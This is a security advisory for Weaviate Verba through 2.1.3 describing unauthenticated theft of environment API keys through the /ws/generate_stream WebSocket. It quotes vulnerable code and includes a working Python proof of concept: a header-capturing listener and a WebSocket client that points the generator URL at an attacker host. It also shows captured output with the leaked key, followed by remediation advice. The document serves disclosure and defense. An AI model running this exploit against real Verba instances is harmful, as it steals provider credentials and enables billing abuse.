Weaviate Verba <= 2.1.3 — Unauthenticated LLM API Key Exfiltration via Client-Controlled Generator URL
Weaviate Verba (package goldenverba) versions up to and including 2.1.3 allow an unauthenticated network attacker to steal LLM / parser API keys from the server process environment.
The unauthenticated WebSocket endpoint /ws/generate_stream accepts a full RAG generator configuration from the caller. If the attacker supplies a custom OpenAI-compatible URL and omits the API Key field, Verba reads the real key from the environment (OPENAI_API_KEY) and sends it as Authorization: Bearer <env-key> to the attacker-controlled base URL.
This is not CVE-2026-65317 (VulDB 381398) and not CVE-2026-65318 (VulDB 382255). Those two already-assigned CVEs are unauthenticated SSRF GET sinks (Custom Weaviate /api/connect, HTMLReader /ws/import_files). They do not attach process environment secrets to the outbound request. This issue uses a different WebSocket (/ws/generate_stream) and makes the server POST to a caller-chosen URL with Authorization: Bearer <env API key>.
No patch is available. The Verba repository was archived on 8 June 2026.
Weaviate Verba (goldenverba) through version 2.1.3 contains an unauthenticated LLM API-key exfiltration vulnerability in the generate WebSocket. A remote attacker can connect to /ws/generate_stream without authentication or an Origin header, send a RAG generator configuration that sets a custom OpenAI-compatible URL and omits the API Key field, and cause the server to read OPENAI_API_KEY from the process environment. Verba then issues an HTTP POST to the attacker-controlled base URL with Authorization: Bearer <environment key>, disclosing the live provider secret. The same get_environment() fallback applies to sibling keys (OPENAI_EMBED_API_KEY, UPSTAGE_API_KEY, UNSTRUCTURED_API_KEY, EMBEDDING_SERVICE_KEY) when the corresponding URL is attacker-controlled. This is distinct from CVE-2026-65317 (/api/connect Origin bypass + Custom Weaviate GET SSRF) and CVE-2026-65318 (/ws/import_files HTMLReader GET SSRF), which do not attach environment secrets to the outbound request.
- Vendor: Weaviate
- Product: Verba (The Golden RAGtriever), PyPI name
goldenverba - Affected: all published releases through 2.1.3 (Docker image
semitechnologies/verba:latestalso affected) - Repo: https://github.com/weaviate/Verba
- Confirmed on: v2.1.3 source and
semitechnologies/verba:latest(local Docker)
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-522: Insufficiently Protected Credentials
- CWE-306: Missing Authentication for Critical Function
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Base score: 9.2 Critical
Same vector already assigned to CVE-2026-65317 / CVE-2026-65318 (VulnCheck). Network, low complexity, no attack requirements, no privileges, no user interaction. Vulnerable-system confidentiality is High because a live provider API key is taken from the Verba process environment. Subsequent-system confidentiality is High because that key is usable against the third-party LLM provider (quota theft, access to that key's resources). Integrity and availability are None.
Prerequisite (does not raise AT to Present): the Verba process has a corresponding environment key set. That is the documented Docker / production setup (OPENAI_API_KEY, and the same pattern exists for Upstage / Unstructured / Weaviate embedding service URLs).
/ws/generate_streamis not under/api/, is not covered by the HTTP Origin middleware, and performs no authentication.GeneratePayloaddoes not even require Weaviate credentials.
# goldenverba/server/api.py
@app.websocket("/ws/generate_stream")
async def websocket_generate_stream(websocket: WebSocket):
await websocket.accept()
payload = GeneratePayload.model_validate_json(data)
async for chunk in manager.generate_stream_answer(
payload.rag_config, payload.query, payload.context, payload.conversation
):
...-
Client-supplied
rag_configis passed straight into the selected generator. -
get_environment()prefers a key from the request-controlled config dict; if that field is absent it falls back toos.environ:
# goldenverba/components/util.py
def get_environment(config, value: str, env: str, error_msg: str) -> str:
if value in config:
token = config[value].value
else:
token = os.environ.get(env)
if not token or token == "":
raise Exception(error_msg)
return tokenOpenAIGenerator.generate_stream()uses that helper for both the API key and the base URL, then POSTs with the env bearer token:
# goldenverba/components/generation/OpenAIGenerator.py
openai_key = get_environment(config, "API Key", "OPENAI_API_KEY", "No OpenAI API Key found")
openai_url = get_environment(config, "URL", "OPENAI_BASE_URL", "https://api.openai.com/v1")
headers = {"Authorization": f"Bearer {openai_key}", ...}
client.stream("POST", f"{openai_url}/chat/completions", json=data, headers=headers, ...)When OPENAI_API_KEY is set in the environment, Verba's default config does not include an API Key field. An attacker who sends a config containing URL but not API Key therefore gets: attacker URL + real env key.
The same get_environment() pattern applies to:
| Component | URL field | Env key used if API Key omitted |
|---|---|---|
| OpenAI Generator / Embedder | URL |
OPENAI_API_KEY / OPENAI_EMBED_API_KEY |
| Upstage Generator / Embedder | URL |
UPSTAGE_API_KEY |
| Unstructured Reader | API URL |
UNSTRUCTURED_API_KEY |
| Weaviate Embedder | URL |
EMBEDDING_SERVICE_KEY |
The OpenAI generator path via /ws/generate_stream was dynamically confirmed (no Weaviate credentials, no Origin header).
An unauthenticated attacker who can reach Verba's web port (official Docker bind is 0.0.0.0:8000) can:
- Exfiltrate
OPENAI_API_KEY(and the sibling keys above, by the same config trick) - Use the stolen key against the real provider (billing abuse, model access)
- Do this without Origin spoofing and without a Weaviate login
Environment used for the live test:
Docker Compose:
semitechnologies/verba:latest
semitechnologies/weaviate:1.25.10
Verba env:
OPENAI_API_KEY=sk-verba-canary-exfil-9f3a2c1bDEADBEEF
Attacker listener on the Docker host: 0.0.0.0:18080
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
auth = self.headers.get("Authorization", "<missing>")
print(f"{self.command} {self.path} {auth}", flush=True)
length = int(self.headers.get("Content-Length") or 0)
if length:
self.rfile.read(length)
self.send_response(200)
self.send_header("Content-Type", "text/event-stream")
self.end_headers()
self.wfile.write(b'data: {"choices":[{"delta":{"content":"ok"},"finish_reason":"stop"}]}\n\n')
self.wfile.write(b"data: [DONE]\n\n")
def log_message(self, fmt, *args):
sys.stdout.write("%s - %s\n" % (self.address_string(), fmt % args))
HTTPServer(("0.0.0.0", 18080), Handler).serve_forever()#!/usr/bin/env python3
import json
import websocket
ws = websocket.create_connection("ws://127.0.0.1:8000/ws/generate_stream", timeout=20)
ws.send(json.dumps({
"query": "ping",
"context": "",
"conversation": [],
"rag_config": {
"Generator": {
"selected": "OpenAI",
"components": {
"OpenAI": {
"name": "OpenAI",
"variables": [],
"library": [],
"description": "x",
"type": "Generator",
"available": True,
"config": {
"Model": {
"type": "dropdown",
"value": "gpt-3.5-turbo",
"description": "x",
"values": ["gpt-3.5-turbo"],
},
"System Message": {
"type": "textarea",
"value": "You are Verba",
"description": "x",
"values": [],
},
"URL": {
"type": "text",
"value": "http://host.docker.internal:18080/v1",
"description": "x",
"values": [],
}
# "API Key" intentionally omitted -> env OPENAI_API_KEY is used
},
}
},
}
},
}))
print(ws.recv())
ws.close()pip install websocket-client is enough for the client.
Listener received:
POST /v1/chat/completions HTTP/1.1
Host: host.docker.internal:18080
User-Agent: python-httpx/0.27.0
Content-Type: application/json
Authorization: Bearer sk-verba-canary-exfil-9f3a2c1bDEADBEEF
Body:
{"messages":[{"role":"system","content":"You are Verba"},{"role":"user","content":"Answer this query: 'ping' with this provided context: "}],"model":"gpt-3.5-turbo","stream":true}The bearer token matched docker exec <verba> printenv OPENAI_API_KEY.
Live reproduction (unauthenticated python poc_key_exfil_exploit.py against local Docker; catcher on :18080 received the canary env key):
https://github.com/DReazer/CV3/blob/main/pngs/ver.png
Public Verba CVEs already cover geo-chen's two SSRF findings. This is a third, distinct issue.
| CVE-2026-65317 / VulDB 381398 | CVE-2026-65318 / VulDB 382255 | This issue | |
|---|---|---|---|
| Source | geo-chen Finding 2 | geo-chen Finding 1 | this report |
| Entry | HTTP POST /api/connect after Origin bypass |
unauthenticated WS /ws/import_files |
unauthenticated WS /ws/generate_stream |
| Component | Weaviate Custom connect | HTMLReader session.get(url) |
OpenAIGenerator get_environment() + POST |
| Outbound | GET /v1/meta to attacker host:port |
GET attacker/internal URL (no auth header) | POST /chat/completions to attacker URL |
| Secret in outbound request | No | No (credentials only if the GET target is IMDS / an internal service) | Yes — Authorization: Bearer <OPENAI_API_KEY from env> |
| CWE | CWE-918 | CWE-918 | CWE-918 + CWE-522 + CWE-306 |
| Fix | Origin check + host allowlist | URL allowlist / block private IPs | Do not send env secrets to a client-supplied base URL; authenticate WebSockets |
CVE-2026-65318 is the closer of the two (unauthenticated WebSocket + attacker URL) but is still a different sink: HTMLReader never reads OPENAI_API_KEY and never emits a Bearer header.
Blocking RFC1918 / metadata hosts does not fix this issue: the destination is the attacker's public (or host-mapped) server, and the impact is the environment key itself.
- Require authentication on
/ws/generate_streamand/ws/import_files. - Do not accept a caller-supplied generator/embedder/reader
URLwhen the API key is taken from the environment. If a custom URL is allowed at all, require the caller to supply their own key and never mix it with server env credentials. - Allowlist outbound LLM/base URLs at startup (
OPENAI_BASE_URL), not per request.
Do not expose Verba on 0.0.0.0. Bind to loopback or put it behind auth. Restrict egress so the Verba container can only reach the intended provider. Rotate any API keys that were present in the process environment of an exposed instance.
- https://github.com/weaviate/Verba
- https://hub.docker.com/r/semitechnologies/verba
- Distinct from: https://github.com/geo-chen/oss/blob/main/verba.md (Finding 1 and Finding 2)
- Distinct from CVE-2026-65317 / VulDB 381398 (
/api/connectOrigin bypass + Custom Weaviate GET SSRF): https://nvd.nist.gov/vuln/detail/CVE-2026-65317 - Distinct from CVE-2026-65318 / VulDB 382255 (
/ws/import_filesHTMLReader GET SSRF): https://nvd.nist.gov/vuln/detail/CVE-2026-65318 - PoC screenshot: https://github.com/DReazer/CV3/blob/main/pngs/ver.png
